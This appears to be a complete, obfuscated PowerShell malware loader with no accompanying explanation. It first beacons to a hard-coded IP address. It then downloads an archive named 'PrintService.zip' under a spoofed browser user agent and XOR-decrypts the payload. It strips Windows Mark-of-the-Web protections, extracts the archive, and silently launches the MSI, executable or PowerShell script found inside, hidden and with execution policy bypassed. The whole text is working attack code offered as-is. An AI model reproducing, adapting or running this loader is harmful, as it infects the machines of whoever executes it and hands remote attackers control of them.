$ProgressPreference = 'SilentlyContinue'; $global:ProgressPreference = 'SilentlyContinue' try { $POnSd = [guid]::NewGuid().ToString("N"); $cbu = "http://93.152.223.160/dl-callback/h6gekp4f-zc4m4q95-tnjbs99y-ckjmffy6/PrintService.zip/" + $POnSd $fgBoD = [ordered]@{} $DRbND = "X-Panel-Callback" $FICSJ = "1" $fgBoD[$DRbND] = $FICSJ Invoke-WebRequest -Uri $cbu -Headers $fgBoD -UseBasicParsing -TimeoutSec 15 | Out-Null } catch { } $bLkSsg = $env:TEMP New-Item -ItemType Directory -Path $bLkSsg -Force | Out-Null $WOMqZa = $null function breYkfB { param([string]$u, [string]$p, [string]$n = '') $ProgressPreference = 'SilentlyContinue'; $global:ProgressPreference = 'SilentlyContinue' $destDir = Split-Path $p -Parent if ($destDir -and -not (Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir -Force | Out-Null } Remove-Item -Path $p -Force -ErrorAction SilentlyContinue $TzgX = '' $BrQUh = $false while (-not $BrQUh) { $Imzxg = Join-Path $env:TEMP ([guid]::NewGuid().ToString('N') + '.dat') Remove-Item -Path $Imzxg -Force -ErrorAction SilentlyContinue try { & curl.exe -L -f -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "X-Panel-Internal: 1" -o $Imzxg -- $u if ($LASTEXITCODE -eq 0 -and (Test-Path $Imzxg) -and ((Get-Item $Imzxg).Length -gt 0)) { $EKqXl = [IO.File]::ReadAllBytes($Imzxg) Remove-Item -Path $Imzxg -Force -ErrorAction SilentlyContinue if ($EKqXl.Length -ge 2 -and $EKqXl[0] -eq 0x4D -and $EKqXl[1] -eq 0x5A) { [IO.File]::WriteAllBytes($p, $EKqXl) } elseif ($TzgX -and $EKqXl.Length -gt 0) { $drcj = if ($n) { $n } else { [IO.Path]::GetFileName($p) } $dmEL = $drcj $AJhw = 'rx:' + $TzgX + ':' + $dmEL $QfDc = New-Object System.Security.Cryptography.SHA256Managed $DOJd = $QfDc.ComputeHash([Text.Encoding]::UTF8.GetBytes($AJhw))[0..31] $CsZCk = New-Object byte[] $EKqXl.Length $WPFm = $DOJd.Length for ($sHf = 0; $sHf -lt $EKqXl.Length; $sHf++) { $CsZCk[$sHf] = $EKqXl[$sHf] -bxor $DOJd[$sHf % $WPFm] } [IO.File]::WriteAllBytes($p, $CsZCk) } else { [IO.File]::WriteAllBytes($p, $EKqXl) } if ((Test-Path $p) -and ((Get-Item $p).Length -gt 0)) { try { Unblock-File -Path $p -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $p -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } $BrQUh = $true } } } catch { } if (-not $BrQUh) { Start-Sleep -Seconds 5 } } return ($BrQUh -and (Test-Path $p) -and ((Get-Item $p).Length -gt 0)) } function WaHPCaHxK { param([string]$p) $eubnDY = $p + "_x" try { if (Test-Path $eubnDY) { Remove-Item $eubnDY -Recurse -Force -EA 0 } } catch { } New-Item -ItemType Directory -Path $eubnDY -Force | Out-Null $xOk = $false if ([IO.Path]::GetExtension($p).ToLower() -eq ".zip" -and (-not $WOMqZa)) { try { Expand-Archive -Path $p -DestinationPath $eubnDY -Force; $xOk = $true } catch { } if (-not $xOk) { try { Add-Type -AssemblyName System.IO.Compression.FileSystem -EA 0 [IO.Compression.ZipFile]::ExtractToDirectory($p, $eubnDY) $xOk = $true } catch { } } } if (-not $xOk) { @("C:\Program Files\7-Zip\7z.exe","C:\Program Files (x86)\7-Zip\7z.exe") | ForEach-Object { if ($xOk -or -not (Test-Path $_)) { return } $za = "x `"$p`" -o`"$eubnDY`" -y" if ($WOMqZa) { $za += " -p`"$WOMqZa`"" } $zp = Start-Process -FilePath $_ -ArgumentList $za -Wait -PassThru -WindowStyle Hidden if ($zp.ExitCode -eq 0) { $xOk = $true } } } if (-not $xOk) { @("C:\Program Files\WinRAR\Rar.exe","C:\Program Files (x86)\WinRAR\Rar.exe") | ForEach-Object { if ($xOk -or -not (Test-Path $_)) { return } $ra = "x -y" if ($WOMqZa) { $ra += " -p`"$WOMqZa`"" } $ra += " `"$p`" `"$eubnDY`"" Start-Process -FilePath $_ -ArgumentList $ra -Wait -WindowStyle Hidden $xOk = $true } } $msi = Get-ChildItem -Path $eubnDY -Recurse -Filter "*.msi" -EA 0 | Sort-Object { $_.FullName.Split([char]92).Count }, { -$_.Length } | Select-Object -First 1 if ($msi) { $fRKNzi = $msi.FullName if (-not (Test-Path $fRKNzi)) { return } try { Unblock-File -Path $fRKNzi -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $fRKNzi -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } $gcVp = Join-Path $env:SystemRoot ("System32\" + "msi" + "exec.exe") if ($env:PROCESSOR_ARCHITECTURE -eq "x86" -and (Test-Path (Join-Path $env:SystemRoot "Sysnative\msiexec.exe"))) { $gcVp = Join-Path $env:SystemRoot "Sysnative\msiexec.exe" } & $gcVp /i $fRKNzi /qn /norestart return } $exes = @(Get-ChildItem -Path $eubnDY -Recurse -Filter "*.exe" -EA 0 | Where-Object { $_.Name.ToLower() -notin @('wget.exe','curl.exe','winrar.exe','rar.exe','7z.exe','7za.exe','7zfm.exe','7zg.exe','unrar.exe','bsdtar.exe','tar.exe','expand.exe','bitsadmin.exe','setup.exe','install.exe') }) $runDir = Join-Path $eubnDY "run" if (-not (Test-Path $runDir)) { $runHit = Get-ChildItem -Path $eubnDY -Recurse -Directory -EA 0 | Where-Object { $_.Name -ieq "run" } | Select-Object -First 1 if ($runHit) { $runDir = $runHit.FullName } } if ($runDir -and (Test-Path $runDir)) { $inRunOnly = @($exes | Where-Object { $_.FullName.StartsWith($runDir, [StringComparison]::OrdinalIgnoreCase) }) if ($inRunOnly.Count -gt 0) { $exes = $inRunOnly } } $pick = $null if ($exes.Count -gt 0) { $inRun = @($exes | Where-Object { $_.FullName -match '[\\/]run[\\/]' } | Sort-Object { $_.FullName.Split([char]92).Count }, { -$_.Length }) if ($inRun.Count -gt 0) { $pick = $inRun[0] } if (-not $pick) { $archBase = [IO.Path]::GetFileNameWithoutExtension($p) $named = @($exes | Where-Object { $_.BaseName -like ($archBase + '*') -or $archBase -like ($_.BaseName + '*') } | Sort-Object { -$_.Length }) if ($named.Count -gt 0) { $pick = $named[0] } } if (-not $pick) { $pick = ($exes | Sort-Object { -$_.Length } | Select-Object -First 1) } } if ($pick) { $fRKNzi = $pick.FullName if (-not (Test-Path $fRKNzi)) { return } try { Unblock-File -Path $fRKNzi -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $fRKNzi -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } if (Test-Path $fRKNzi) { Start-Process -FilePath $fRKNzi } return } $ps1 = Get-ChildItem -Path $eubnDY -Recurse -Filter "*.ps1" -EA 0 | Select-Object -First 1 if ($ps1) { $fRKNzi = $ps1.FullName if (-not (Test-Path $fRKNzi)) { return } try { Unblock-File -Path $fRKNzi -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $fRKNzi -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } Start-Process powershell.exe -WindowStyle Hidden -ArgumentList @("-NoProfile","-ExecutionPolicy","Bypass","-File",$fRKNzi) } } $rtZGFD = "http://93.152.223.160/h6gekp4f-zc4m4q95-tnjbs99y-ckjmffy6/PrintService.zip" $PrxhQH = Join-Path $bLkSsg "PrintService.zip" if (& breYkfB $rtZGFD $PrxhQH "PrintService.zip") { & WaHPCaHxK $PrxhQH }